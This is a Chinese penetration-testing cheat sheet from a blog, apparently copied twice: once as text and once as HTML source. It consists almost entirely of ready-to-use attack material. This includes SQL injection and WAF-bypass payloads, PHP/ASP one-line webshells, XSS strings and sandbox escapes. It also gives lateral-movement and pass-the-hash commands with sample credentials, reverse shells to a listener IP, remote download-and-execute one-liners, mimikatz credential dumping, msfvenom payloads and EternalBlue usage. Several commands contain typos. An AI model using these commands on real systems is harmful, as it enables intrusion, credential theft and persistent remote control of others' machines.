渗透测试备忘录

博主： deepfal
发布时间：2022 年 04 月 03 日
1100 次浏览
暂无评论
9182字数
分类：技巧杂烩

本文章仅作技术研究，请勿用作非法途径!

Web

SQL Inject

联合查询爆显示位

union select 1,user(),3

联合查询爆表名

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

联合查询爆字段名

union select 1,2,group_concat(column_name) from information_schema.column where table_schema='users' --+

联合查询爆字段值

union select 1,username,password from `key` --+

万能密码

admin' or'1'='1'

布尔盲注测试

and length(database())=4 --+

时间盲注测试

or if(ascii(substr(database(),1,1))>0,sleep(1),1) --+

floor报错注入

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

extractvalue报错注入

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

info outfile写文件

select '<?php phpinfo();?>' into outfile '/var/www/html'

load_file 读文件

union select load_file('/etc/passwd')

access

and (select count(*) from msysobjects)>0 and 1=1

mssql

and (select count(*) from sysobjects)>0 and 1=1

oracle

and (select count(*) from sys.user_tables)>0 and 1=1

Bypass

大小写

uNIoN sELecT 1,2,3

空格绕过

/**/%55nION/**/%53ElecT/**/1,2,3Select(user())from test where id=1 and 1=1;

内联注释

/*!UNION*/+/*!SELECT*/+1,2,3/*UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM/*information_schema*/.tables /*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database()---

双写绕过

UNIunionON+SELselectECT+1,2,3

编码绕过

URLEncode编码：or 1=1即%6f%72%20%31%3d%31
ASCII编码： Test：CHAR(84)+CHAR(101)+CHAR(115)+CHAR(116)
十六进制编码：SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

PHP伪协议

php伪协议，以base64编码输出

php://filter/read=convert.base64-encode/resource=index.php

php伪协议，以base64编码写入

php://filter/write=convert.base64-decode/resource=xx.php

data协议命令执行

data:text/plain,<?php system('whoami');?>

一句话木马

php

<?php eval($_POST['pwd']);?>

asp

<%execute(request('pwd'))%>

aspx

<% @Page Language='jscript'%><%eval(Request.Item['pwd'],'unsafe');%>

生成图片马

copy 1.jpg /b + 1.php /b shell.php

XSS Payload

<img src=1 onerror=alert(/xss/)>

<script>alert(/xss/)</script>

<script>prompt(/xss/)</script>

<script>alert(document.cookie)</script

' onmouseover='alert(/xss/)

" onclick="alert(/xss/)

javascript:alert(/xss/)

<body onload=alert(/xss/)>

<body background="javascript:alert(/xss/)">

Python沙箱逃逸

python2沙箱逃逸

"".__class__.__mro__[-1].__subclasses__()[71].__init__.globales__['os'].system('ls')

python3沙箱逃逸

"".__class__.__mro__[-1].__subclasses__()[117].init__.globales['system']('ls')

PHP命令执行

<?php $cmd=$_POST['cmd'];@exec($cmd,$return);var_dump($return);?>

<?php $last_line = system("ls",$retval);echo $last_line;?>

<?php $output = passthru("ls -la");echo "<pre>$output</pre>";?>

<?php $output = shell_exec('ls -la');echo "<pre>$output</pre>";?>

<?php $fd = popen("whoami", 'r');$ret = fgets($fd);print($ret);?>

<?php 
  $command=$_GET['a'];
  $wsh = new COM('WScript.shell');
  $exec = $wsh->exec("cmd /c".$command);
  $stdout = $exec->StdOut();
  $stdoutput = $stdout->ReadAll();
  echo $stdoutput
?>

PHP代码执行

<?php @eval($_POST['cmd']);?>

<?php @assert($_POST['cmd']);?>

<?php echo "{${phpinfo()}}";?>

<?php call_user_func("assert",$_POST['cmd']);?>

<?php preg_replace("/test/e",$_POST['cmd'],"just test");?>

<?php $func = create_function('',$_POST['cmd']);$func;?>

<?php $cmd=$_POST['cmd'];$array[0]=$cmd;call_user_array("assert",$array);?>

<?php $cmd=$_POST['cmd'];$array1=array($cmd);$func=$_GET['func'];array_filter($array1,$func);?>

<?php $func=$_GET['func'];$cmd=$_POST['cmd'];$ayyar[0]=$cmd;$new_array=array_map($func,$array);echo $new_array;?>

横向渗透

WMIC

wmic /node:10.10.10.201 /user:administrator /password:hetianlab.com process call create "cmd.exe /c ipconfig"

IPC + Schtasks

net use \\10.10.10.201\c$ /user:administrator "hetianlab.com"
copy c:\windows\temp\59.exe \\10.10.10.201\c$
schtasks /create /s 10.10.10.201 /u de1ay\administrator /p "hetianlab.com" /sc MINUTE /mo 1 /tn test2 /tr "c:\59.exe"
schtasks /run /s 10.10.10.201 /u de1ay\administrator /p "hetianlab.com" /tn test2
schtasks /delete /tn At1 /s 10.10.10.201 /u administrator /p hetianlab.com

IPC + AT

net use \\10.10.10.201\c$ /user:administrator "hetianlab.com"
copy 59.exe \\10.10.10.201\c$
at \\10.10.10.201 19:08 c:\59.exe

Smbexec

smbexec.exe heetian\Administrator:hetianlab.com@10.10.10.201

Psexec

PsExec.exe \\192.168.10.201 -h heetian\Administrator -p hetianlab.com -s cmd.exe -accepteula

PTH

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:10.10.10.201 /ntlm:579110c49145015c47ecd267657d3174" exit
wmiexec.exe -hashes aad3b435b51404eeaaad3b435b51404ee:579110c49145015c47ecd267657d3174 administrator@10.10.10.201 "whoami"
smbexec.exe -hashes aad3b435b51404eeaaad3b435b51404ee:579110c49145015c47ecd267657d3174 administrator@10.10.10.201

Wmiexec

wmiexec.exe -share admin$ administrator:hetianlab.exe@10.10.10.201

渗透测试

反弹shell

Bash

bash -i >& /dev/tcp/192.168.1.1/3344 0>&1
0<&196;exec 196<>/dev/tcp/192.168.1.1/3344; bash <&196 >&196 2>&196

NC

nc -e /bin/bash 192.168.1.1 3344
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.1.1 3344 > /tmp/f

PHP

php -r '$sock=fsockopen("192.168.1.1",3344);exec("/bin/bash -i <&3 >&3 2>&3");'

Telnet

telnet 192.168.1.1 8080 | /bin/bash | telnet 192.168.1.1 9090

crontab

* * * * * /bin/bash -i >& /dev/tcp/192.168.1.1/1234 0>&1

Socat

socat TCP:192.168.1.1:3344 EXEC:bash
socat TCP:192.168.1.1:3344 EXEC:"bash -li",pty,stderr,setsid,sigint,sane

获得伪终端

python -c 'import pty;pty.spawm("/bin/bash")'

信息收集

dig @223.5.5.5 hetianlab.com -t A
nslookup hetianlab.com 223.5.5.5
nmap -sn -Pn hetianlab.com --script hostmap-crtsh
whois hetianlab.com

site:hetianlab.com web
inurl:login
intext:蚁景网安学院
intitle:后台登录
filetype:xls 身份证

文件传输

bitsadmin下载文件

bitsadmin /transfer lan http://192.168.1.2/1.hta C:\temp\1.hta

certutil下载文件并执行

certutil.exe -urlcache -split -f http://192.168.1.2/shell.exe shell.exe & shell.exe

certutil清除缓存

certutil.exe -urlcache -split -f http://192.168.1.2/shell.exe delete

powershell下载文件

powershell -c "$p=new-object system.net.webclient;$p.DownloadFile('http://192.168.1.2/1.hta','1.hta')"
powershell.exe (new-object system.net.webclient).downloadfile('http://192.168.1.2/1.hta','1.hta')
powershell Invoke-WebRequest -uri "http://192.168.1.2/1.hta" -OutFile "$env:temp\1.hta"

wget

wget http://192.168.1.2/1.sh
wget -O x.sh http://192.168.1.2/1.sh

curl

curl -o x.hta http://192.168.1.2/1.sh
curl -O http://192.168.1.2/1.sh

PHP

php -r 'file_put_contents("lan.hta",file_get_contents("http://192.168.1.2/1.sh"));'

Python

python2 -c "import urllib2;u=urllib2.urlopen('http://192.168.1.2/1.hta');f=open('c:\\temp\\win.hta','w');f.write(u.read());f.close"
python3 -c "import urllib.request;u=urllib.request.urlopen('http://192.168.1.2/1.hta');f=open('c:\\temp\\win.hta','w');f.write(u.read().decode('utf-8'))"

Ruby

ruby -e 'require "net/http";Net::HTTP.start("192.168.1.227") { [http]r=http.get("/1.sh");open("/root/x.sh","wb") {[file]file.write(r.body)}}'

Perl

perl -MLWP::Simple -e 'getstore ("http://192.168.1.2/1.sh", "1.sh")'

Powershell加载远程脚本

powershell -nop -w hidden -exec bypass -c "IEX (New-Object New.WebClient).DownloadString('http://192.168.1.2/shell.ps1');shell.ps1";

工具

Mimikatz

启动mimikatz

mimikatz.exe
# privilege::debug
# log c:\temp\mimikatz.log

获取登录账号的明文密码和Hash值

# sekurlsa::logonpasswords

备份注册表中的SYSTTEM & SAM hive

C:\> reg save HKLM\SYSTEM system.hiv
C:\> reg save HKLM\SAM sam.hiv

mimikatz获取hashs

# lsadump::sam /system:system.hiv /sam:sam.hiv

读取从lsass进程中保存文件里的明文密码

# sekurlsa::minidump lsass.dump

NMAP

基础扫描

nmap -A -T4 192.168.1.1

存活主机探测

nmap -sP 192.168.1.1/24

全端口扫描

nmap -sS -v -T4 -Pm -p- 192.168.1.1

系统扫描

nmap -O -T4 -Pn -oG OSDetect 192.168.1.1

服务版本检测

nmap -sV -T4 -Pn -oG ServiceDetect 192.168.1.1

waf识别

nmap -p80,443 --script http-waf-detect 192.168.1.1
nmap -p80,443 --script http-waf-fingerprint 192.168.1.1

Msfvenom

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o /tmp/shell.exe

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<Port> -f elf > shell.elf

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=<Port> -f macho > shell.macho

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<Port> -f raw > shell.sh

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<Port> -f raw > shell.php

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<Port> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<Port> -f war > shell.war

Python

msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<Port> -f raw > shell.py

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<Port> -f raw > shell.pl

PowerShell

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f psh > shell.ps1

Metasploit

msfconsole

msf > search eternalblue
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(...) > set RHOSTS 192.168.1.1
msf exploit(...) > exploit

版权属于：DeepFal
本文链接：https://blog.deepfal.cn/index.php/archives/929/
转载时须注明出处及本声明

最后修改：2022 年 04 月 03 日

如果觉得我的文章对你有用，请随意赞赏~

发表评论取消回复
使用cookie技术保留您的个人信息以便您下次快速评论，继续评论表示您已同意该条款

评论 *

私密评论

名称 *

🎲

邮箱 *

地址

渗透测试备忘录

deepfal • 2022 年 04 月 03 日

<pre><code>本文章仅作技术研究，请勿用作非法途径!</code></pre>
<h1><strong>Web</strong></h1>
<h2><strong>SQL Inject</strong></h2>
<h3><strong>联合查询爆显示位</strong></h3>
<pre><code>union select 1,user(),3</code></pre>
<h3><strong>联合查询爆表名</strong></h3>
<pre><code>union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+</code></pre>
<h3><strong>联合查询爆字段名</strong></h3>
<pre><code>union select 1,2,group_concat(column_name) from information_schema.column where table_schema='users' --+</code></pre>
<h3><strong>联合查询爆字段值</strong></h3>
<pre><code>union select 1,username,password from `key` --+</code></pre>
<h3><strong>万能密码</strong></h3>
<pre><code>admin' or'1'='1'</code></pre>
<h3><strong>布尔盲注测试</strong></h3>
<pre><code>and length(database())=4 --+</code></pre>
<h3><strong>时间盲注测试</strong></h3>
<pre><code>or if(ascii(substr(database(),1,1))&gt;0,sleep(1),1) --+</code></pre>
<h3><strong>floor报错注入</strong></h3>
<pre><code>select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);</code></pre>
<h3><strong>extractvalue报错注入</strong></h3>
<pre><code>select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));</code></pre>
<h3><strong>info outfile写文件</strong></h3>
<pre><code>select '&lt;?php phpinfo();?&gt;' into outfile '/var/www/html'</code></pre>
<h3><strong>load_file 读文件</strong></h3>
<pre><code>union select load_file('/etc/passwd')</code></pre>
<h3><strong>access</strong></h3>
<pre><code>and (select count(*) from msysobjects)&gt;0 and 1=1</code></pre>
<h3><strong>mssql</strong></h3>
<pre><code>and (select count(*) from sysobjects)&gt;0 and 1=1</code></pre>
<h3><strong>oracle</strong></h3>
<pre><code>and (select count(*) from sys.user_tables)&gt;0 and 1=1</code></pre>
<h2><strong>Bypass</strong></h2>
<h3><strong>大小写</strong></h3>
<pre><code>uNIoN sELecT 1,2,3</code></pre>
<h3><strong>空格绕过</strong></h3>
<pre><code>/**/%55nION/**/%53ElecT/**/1,2,3Select(user())from test where id=1 and 1=1;</code></pre>
<h3><strong>内联注释</strong></h3>
<pre><code>/*!UNION*/+/*!SELECT*/+1,2,3/*UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM/*information_schema*/.tables /*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database()---</code></pre>
<h3><strong>双写绕过</strong></h3>
<pre><code>UNIunionON+SELselectECT+1,2,3</code></pre>
<h3><strong>编码绕过</strong></h3>
<ul>
<li><strong>URLEncode编码：</strong><code>or 1=1</code><strong>即</strong><code>%6f%72%20%31%3d%31</code></li>
<li><strong>ASCII编码： Test：</strong><code>CHAR(84)+CHAR(101)+CHAR(115)+CHAR(116)</code></li>
<li><strong>十六进制编码：</strong><code>SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))</code></li>
</ul>
<h2><strong>PHP伪协议</strong></h2>
<h3><strong>php伪协议，以base64编码输出</strong></h3>
<pre><code>php://filter/read=convert.base64-encode/resource=index.php</code></pre>
<h3><strong>php伪协议，以base64编码写入</strong></h3>
<pre><code>php://filter/write=convert.base64-decode/resource=xx.php</code></pre>
<h3><strong>data协议命令执行</strong></h3>
<pre><code>data:text/plain,&lt;?php system('whoami');?&gt;</code></pre>
<h2><strong>一句话木马</strong></h2>
<h3><strong>php</strong></h3>
<pre><code>&lt;?php eval($_POST['pwd']);?&gt;</code></pre>
<h3><strong>asp</strong></h3>
<pre><code>&lt;%execute(request('pwd'))%&gt;</code></pre>
<h3><strong>aspx</strong></h3>
<pre><code>&lt;% @Page Language='jscript'%&gt;&lt;%eval(Request.Item['pwd'],'unsafe');%&gt;</code></pre>
<h3><strong>生成图片马</strong></h3>
<pre><code>copy 1.jpg /b + 1.php /b shell.php</code></pre>
<h2><strong>XSS Payload</strong></h2>
<pre><code>&lt;img src=1 onerror=alert(/xss/)&gt;</code></pre>
<pre><code>&lt;script&gt;alert(/xss/)&lt;/script&gt;</code></pre>
<pre><code>&lt;script&gt;prompt(/xss/)&lt;/script&gt;</code></pre>
<pre><code>&lt;script&gt;alert(document.cookie)&lt;/script</code></pre>
<pre><code>' onmouseover='alert(/xss/)</code></pre>
<pre><code>" onclick="alert(/xss/)</code></pre>
<pre><code>javascript:alert(/xss/)</code></pre>
<pre><code>&lt;body onload=alert(/xss/)&gt;</code></pre>
<pre><code>&lt;body background="javascript:alert(/xss/)"&gt;</code></pre>
<h2><strong>Python沙箱逃逸</strong></h2>
<h3><strong>python2沙箱逃逸</strong></h3>
<pre><code>"".__class__.__mro__[-1].__subclasses__()[71].__init__.globales__['os'].system('ls')</code></pre>
<h3><strong>python3沙箱逃逸</strong></h3>
<pre><code>"".__class__.__mro__[-1].__subclasses__()[117].init__.globales['system']('ls')</code></pre>
<h2><strong>PHP命令执行</strong></h2>
<pre><code>&lt;?php $cmd=$_POST['cmd'];@exec($cmd,$return);var_dump($return);?&gt;</code></pre>
<pre><code>&lt;?php $last_line = system("ls",$retval);echo $last_line;?&gt;</code></pre>
<pre><code>&lt;?php $output = passthru("ls -la");echo "&lt;pre&gt;$output&lt;/pre&gt;";?&gt;</code></pre>
<pre><code>&lt;?php $output = shell_exec('ls -la');echo "&lt;pre&gt;$output&lt;/pre&gt;";?&gt;</code></pre>
<pre><code>&lt;?php $fd = popen("whoami", 'r');$ret = fgets($fd);print($ret);?&gt;</code></pre>
<pre><code>&lt;?php 
  $command=$_GET['a'];
  $wsh = new COM('WScript.shell');
  $exec = $wsh-&gt;exec("cmd /c".$command);
  $stdout = $exec-&gt;StdOut();
  $stdoutput = $stdout-&gt;ReadAll();
  echo $stdoutput
?&gt;</code></pre>
<h2><strong>PHP代码执行</strong></h2>
<pre><code>&lt;?php @eval($_POST['cmd']);?&gt;</code></pre>
<pre><code>&lt;?php @assert($_POST['cmd']);?&gt;</code></pre>
<pre><code>&lt;?php echo "{${phpinfo()}}";?&gt;</code></pre>
<pre><code>&lt;?php call_user_func("assert",$_POST['cmd']);?&gt;</code></pre>
<pre><code>&lt;?php preg_replace("/test/e",$_POST['cmd'],"just test");?&gt;</code></pre>
<pre><code>&lt;?php $func = create_function('',$_POST['cmd']);$func;?&gt;</code></pre>
<pre><code>&lt;?php $cmd=$_POST['cmd'];$array[0]=$cmd;call_user_array("assert",$array);?&gt;</code></pre>
<pre><code>&lt;?php $cmd=$_POST['cmd'];$array1=array($cmd);$func=$_GET['func'];array_filter($array1,$func);?&gt;</code></pre>
<pre><code>&lt;?php $func=$_GET['func'];$cmd=$_POST['cmd'];$ayyar[0]=$cmd;$new_array=array_map($func,$array);echo $new_array;?&gt;</code></pre>
<h1><strong>横向渗透</strong></h1>
<h3><strong>WMIC</strong></h3>
<pre><code>wmic /node:10.10.10.201 /user:administrator /password:hetianlab.com process call create "cmd.exe /c ipconfig"</code></pre>
<h3><strong>IPC + Schtasks</strong></h3>
<pre><code>net use \\10.10.10.201\c$ /user:administrator "hetianlab.com"
copy c:\windows\temp\59.exe \\10.10.10.201\c$
schtasks /create /s 10.10.10.201 /u de1ay\administrator /p "hetianlab.com" /sc MINUTE /mo 1 /tn test2 /tr "c:\59.exe"
schtasks /run /s 10.10.10.201 /u de1ay\administrator /p "hetianlab.com" /tn test2
schtasks /delete /tn At1 /s 10.10.10.201 /u administrator /p hetianlab.com</code></pre>
<h3><strong>IPC + AT</strong></h3>
<pre><code>net use \\10.10.10.201\c$ /user:administrator "hetianlab.com"
copy 59.exe \\10.10.10.201\c$
at \\10.10.10.201 19:08 c:\59.exe</code></pre>
<h3><strong>Smbexec</strong></h3>
<pre><code>smbexec.exe heetian\Administrator:hetianlab.com@10.10.10.201</code></pre>
<h3><strong>Psexec</strong></h3>
<pre><code>PsExec.exe \\192.168.10.201 -h heetian\Administrator -p hetianlab.com -s cmd.exe -accepteula</code></pre>
<h3><strong>PTH</strong></h3>
<pre><code>mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:10.10.10.201 /ntlm:579110c49145015c47ecd267657d3174" exit
wmiexec.exe -hashes aad3b435b51404eeaaad3b435b51404ee:579110c49145015c47ecd267657d3174 administrator@10.10.10.201 "whoami"
smbexec.exe -hashes aad3b435b51404eeaaad3b435b51404ee:579110c49145015c47ecd267657d3174 administrator@10.10.10.201</code></pre>
<h3><strong>Wmiexec</strong></h3>
<pre><code>wmiexec.exe -share admin$ administrator:hetianlab.exe@10.10.10.201</code></pre>
<h1><strong>渗透测试</strong></h1>
<h2><strong>反弹shell</strong></h2>
<h3><strong>Bash</strong></h3>
<pre><code>bash -i &gt;&amp; /dev/tcp/192.168.1.1/3344 0&gt;&amp;1
0&lt;&amp;196;exec 196&lt;&gt;/dev/tcp/192.168.1.1/3344; bash &lt;&amp;196 &gt;&amp;196 2&gt;&amp;196</code></pre>
<h3><strong>NC</strong></h3>
<pre><code>nc -e /bin/bash 192.168.1.1 3344
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2&gt;&amp;1 | nc 192.168.1.1 3344 &gt; /tmp/f</code></pre>
<h3><strong>PHP</strong></h3>
<pre><code>php -r '$sock=fsockopen("192.168.1.1",3344);exec("/bin/bash -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");'</code></pre>
<h3><strong>Telnet</strong></h3>
<pre><code>telnet 192.168.1.1 8080 | /bin/bash | telnet 192.168.1.1 9090</code></pre>
<h3><strong>crontab</strong></h3>
<pre><code>* * * * * /bin/bash -i &gt;&amp; /dev/tcp/192.168.1.1/1234 0&gt;&amp;1</code></pre>
<h3><strong>Socat</strong></h3>
<pre><code>socat TCP:192.168.1.1:3344 EXEC:bash
socat TCP:192.168.1.1:3344 EXEC:"bash -li",pty,stderr,setsid,sigint,sane</code></pre>
<h3><strong>获得伪终端</strong></h3>
<pre><code>python -c 'import pty;pty.spawm("/bin/bash")'</code></pre>
<h2><strong>信息收集</strong></h2>
<pre><code>dig @223.5.5.5 hetianlab.com -t A
nslookup hetianlab.com 223.5.5.5
nmap -sn -Pn hetianlab.com --script hostmap-crtsh
whois hetianlab.com

site:hetianlab.com web
inurl:login
intext:蚁景网安学院
intitle:后台登录
filetype:xls 身份证</code></pre>
<h2><strong>文件传输</strong></h2>
<h3><strong>bitsadmin下载文件</strong></h3>
<pre><code>bitsadmin /transfer lan http://192.168.1.2/1.hta C:\temp\1.hta</code></pre>
<h3><strong>certutil下载文件并执行</strong></h3>
<pre><code>certutil.exe -urlcache -split -f http://192.168.1.2/shell.exe shell.exe &amp; shell.exe</code></pre>
<h3><strong>certutil清除缓存</strong></h3>
<pre><code>certutil.exe -urlcache -split -f http://192.168.1.2/shell.exe delete</code></pre>
<h3><strong>powershell下载文件</strong></h3>
<pre><code>powershell -c "$p=new-object system.net.webclient;$p.DownloadFile('http://192.168.1.2/1.hta','1.hta')"
powershell.exe (new-object system.net.webclient).downloadfile('http://192.168.1.2/1.hta','1.hta')
powershell Invoke-WebRequest -uri "http://192.168.1.2/1.hta" -OutFile "$env:temp\1.hta"</code></pre>
<h3><strong>wget</strong></h3>
<pre><code>wget http://192.168.1.2/1.sh
wget -O x.sh http://192.168.1.2/1.sh</code></pre>
<h3><strong>curl</strong></h3>
<pre><code>curl -o x.hta http://192.168.1.2/1.sh
curl -O http://192.168.1.2/1.sh</code></pre>
<h3><strong>PHP</strong></h3>
<pre><code>php -r 'file_put_contents("lan.hta",file_get_contents("http://192.168.1.2/1.sh"));'</code></pre>
<h3><strong>Python</strong></h3>
<pre><code>python2 -c "import urllib2;u=urllib2.urlopen('http://192.168.1.2/1.hta');f=open('c:\\temp\\win.hta','w');f.write(u.read());f.close"
python3 -c "import urllib.request;u=urllib.request.urlopen('http://192.168.1.2/1.hta');f=open('c:\\temp\\win.hta','w');f.write(u.read().decode('utf-8'))"</code></pre>
<h3><strong>Ruby</strong></h3>
<pre><code>ruby -e 'require "net/http";Net::HTTP.start("192.168.1.227") { [http]r=http.get("/1.sh");open("/root/x.sh","wb") {[file]file.write(r.body)}}'</code></pre>
<h3><strong>Perl</strong></h3>
<pre><code>perl -MLWP::Simple -e 'getstore ("http://192.168.1.2/1.sh", "1.sh")'</code></pre>
<h3><strong>Powershell加载远程脚本</strong></h3>
<pre><code>powershell -nop -w hidden -exec bypass -c "IEX (New-Object New.WebClient).DownloadString('http://192.168.1.2/shell.ps1');shell.ps1";</code></pre>
<h2><strong>工具</strong></h2>
<h3><strong>Mimikatz</strong></h3>
<h3><strong>启动mimikatz</strong></h3>
<pre><code>mimikatz.exe
# privilege::debug
# log c:\temp\mimikatz.log</code></pre>
<h3><strong>获取登录账号的明文密码和Hash值</strong></h3>
<pre><code># sekurlsa::logonpasswords</code></pre>
<h3><strong>备份注册表中的SYSTTEM &amp; SAM hive</strong></h3>
<pre><code>C:\&gt; reg save HKLM\SYSTEM system.hiv
C:\&gt; reg save HKLM\SAM sam.hiv</code></pre>
<h3><strong>mimikatz获取hashs</strong></h3>
<pre><code># lsadump::sam /system:system.hiv /sam:sam.hiv</code></pre>
<h3><strong>读取从lsass进程中保存文件里的明文密码</strong></h3>
<pre><code># sekurlsa::minidump lsass.dump</code></pre>
<h2><strong>NMAP</strong></h2>
<h3><strong>基础扫描</strong></h3>
<pre><code>nmap -A -T4 192.168.1.1</code></pre>
<h3><strong>存活主机探测</strong></h3>
<pre><code>nmap -sP 192.168.1.1/24</code></pre>
<h3><strong>全端口扫描</strong></h3>
<pre><code>nmap -sS -v -T4 -Pm -p- 192.168.1.1</code></pre>
<h3><strong>系统扫描</strong></h3>
<pre><code>nmap -O -T4 -Pn -oG OSDetect 192.168.1.1</code></pre>
<h3><strong>服务版本检测</strong></h3>
<pre><code>nmap -sV -T4 -Pn -oG ServiceDetect 192.168.1.1</code></pre>
<h3><strong>waf识别</strong></h3>
<pre><code>nmap -p80,443 --script http-waf-detect 192.168.1.1
nmap -p80,443 --script http-waf-fingerprint 192.168.1.1</code></pre>
<h2><strong>Msfvenom</strong></h2>
<h3><strong>Windows</strong></h3>
<pre><code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=&lt;IP&gt; LPORT=&lt;PORT&gt; -f exe -o /tmp/shell.exe</code></pre>
<h3><strong>Linux</strong></h3>
<pre><code>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=&lt;IP&gt; LPORT=&lt;Port&gt; -f elf &gt; shell.elf</code></pre>
<h3><strong>Mac</strong></h3>
<pre><code>msfvenom -p osx/x86/shell_reverse_tcp LHOST=&lt;IP&gt; LPORT=&lt;Port&gt; -f macho &gt; shell.macho</code></pre>
<h3><strong>Bash</strong></h3>
<pre><code>msfvenom -p cmd/unix/reverse_bash LHOST=&lt;IP&gt; LPORT=&lt;Port&gt; -f raw &gt; shell.sh</code></pre>
<h3><strong>PHP</strong></h3>
<pre><code>msfvenom -p php/meterpreter_reverse_tcp LHOST=&lt;IP&gt; LPORT=&lt;Port&gt; -f raw &gt; shell.php</code></pre>
<h3><strong>JSP</strong></h3>
<pre><code>msfvenom -p java/jsp_shell_reverse_tcp LHOST=&lt;IP&gt; LPORT=&lt;Port&gt; -f raw &gt; shell.jsp</code></pre>
<h3><strong>WAR</strong></h3>
<pre><code>msfvenom -p java/jsp_shell_reverse_tcp LHOST=&lt;IP&gt; LPORT=&lt;Port&gt; -f war &gt; shell.war</code></pre>
<h3><strong>Python</strong></h3>
<pre><code>msfvenom -p cmd/unix/reverse_python LHOST=&lt;IP&gt; LPORT=&lt;Port&gt; -f raw &gt; shell.py</code></pre>
<h3><strong>Perl</strong></h3>
<pre><code>msfvenom -p cmd/unix/reverse_perl LHOST=&lt;IP&gt; LPORT=&lt;Port&gt; -f raw &gt; shell.pl</code></pre>
<h3><strong>PowerShell</strong></h3>
<pre><code>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=&lt;IP&gt; LPORT=&lt;PORT&gt; -f psh &gt; shell.ps1</code></pre>
<h2><strong>Metasploit</strong></h2>
<h3><strong>msfconsole</strong></h3>
<pre><code>msf &gt; search eternalblue
msf &gt; use exploit/windows/smb/ms17_010_eternalblue
msf exploit(...) &gt; set RHOSTS 192.168.1.1
msf exploit(...) &gt; exploit</code></pre><hr class="content-copyright" style="margin-top:50px" /><blockquote class="content-copyright" style="font-style:normal"><p class="content-copyright">版权属于：DeepFal</p><p class="content-copyright">本文链接：<a class="content-copyright" href="https://blog.deepfal.cn/index.php/archives/929/">https://blog.deepfal.cn/index.php/archives/929/</a></p><p class="content-copyright">转载时须注明出处及本声明</p></blockquote>